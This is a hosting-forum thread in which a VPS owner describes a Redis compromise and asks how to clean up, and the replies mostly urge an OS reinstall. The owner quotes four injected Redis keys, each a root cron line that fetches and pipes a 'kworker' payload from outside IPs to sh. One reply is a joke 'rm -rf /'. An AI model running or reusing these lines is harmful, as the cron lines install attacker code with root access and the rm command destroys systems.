New on LowEndTalk? Please Register and read our Community Rules.
All new Registrations are manually reviewed and approved, so a short delay after registration may occur before your account becomes active.
All new Registrations are manually reviewed and approved, so a short delay after registration may occur before your account becomes active.
VPS Got compromised through passwordless redis
Hello everyone,
I’m running a Laravel stack (PHP 8.1) on a VPS using Docker (Nginx/App containers) with Redis running on the host. I recently encountered a RedisException: READONLY error and discovered my Redis instance had been compromised.
I found my Redis role was set to slave pointing to an unknown Chinese IP (124.220.206.118). It appears the attacker used a Config Poisoning attack to inject malicious keys.
What I found in redis-cli keys *:
Several suspicious keys named backup1 through backup4.
$ redis-cli -a 'redacted' GET backup1
Warning: Using a password with '-a' or '-u' option on the command line interface may not be safe.
"\n\n\n*/2 * * * * root cd1 -fsSL http://34.70.205.211/plugins-dist/safehtml/lang/font/kworker | sh\n\n"
$ redis-cli -a 'redacted' GET backup2
Warning: Using a password with '-a' or '-u' option on the command line interface may not be safe.
"\n\n\n*/3 * * * * root wget -q -O- http://34.70.205.211/plugins-dist/safehtml/lang/font/kworker | sh\n\n"
$ redis-cli -a 'redacted' GET backup3
Warning: Using a password with '-a' or '-u' option on the command line interface may not be safe.
"\n\n\n*/4 * * * * root curl -fsSL http://38.150.0.118/dewfhuewr4r89/98hy67//kworker | sh\n\n"
$ redis-cli -a 'redacted' GET backup4
Warning: Using a password with '-a' or '-u' option on the command line interface may not be safe.
"\n\n\n*/5 * * * * root wd1 -q -O- http://34.70.205.211/plugins-dist/safehtml/lang/font/kworker | sh\n\n"
Steps taken so far:
- Ran replicaof no one to regain write access.
- Set requirepass and updated bind to 127.0.0.1 and the Docker bridge IP.
- Deleted the malicious Redis keys and reset CONFIG SET dir back to /var/lib/redis.
- Checked crontab -l (looks clean) and ~/.ssh/authorized_keys.
My Questions:
- The payload mentions a binary wd1. Has anyone seen this specific variant before? Where does it usually hide its binary?
- Since the attacker likely used CONFIG SET dir
/var/spool/cron/crontabs/to write a file named root, how can I be sure there aren't hidden attributes or binary persistence elsewhere (e.g., /dev/shm or /tmp)? - Are there specific logs I should check to see if they escalated from Redis to a full shell?
- Any advice on ensuring total cleanup without a full nuking/reinstall of the OS would be appreciated.
Comments
Always reinstall the OS. It is not worth the potential for it to still be there without you realizing.
Change VPS provider, not only OS in this situation. It seems you were targeted by 0-day via automated tools, this means that even if you re-install OS, providers subnets are automatically scanned for redis installs and you will be re-infected.
Wanna start mailing list with RHEL? Good luck.
It moves wget to wd1 to prevent other things from being able to wget from the script
What the hell were you doing with a DB listening on a public interface in the first place?
Anyway just nuke the server it's unsalvageable.
rm -rf /
One option is to always reinstall the OS after a root-level compromise, as it's nearly impossible to guarantee complete removal of all backdoors or persistence mechanisms. Even if crontab looks clean, the attacker could have altered system binaries or created new service units. Trying to hunt down every possible hidden attribute or modified file is a significant undertaking with low certainty.
A canonical question on Server Fault explains this quite well: https://serverfault.com/q/218005
The point of reinstalling is that you don't make the same mistake the second time, so you don't get hacked again. There's no need to change provider. The whole internet gets scanned for open Redis installs.
It's a bit drastic to change the VPS provider just because the subnet is automatically scanned for redis installs, then you just need to jump around over and over again.
I agree with other replies, definitely reinstall the OS, you never know WHAT has been compromised, its just more safer to do that.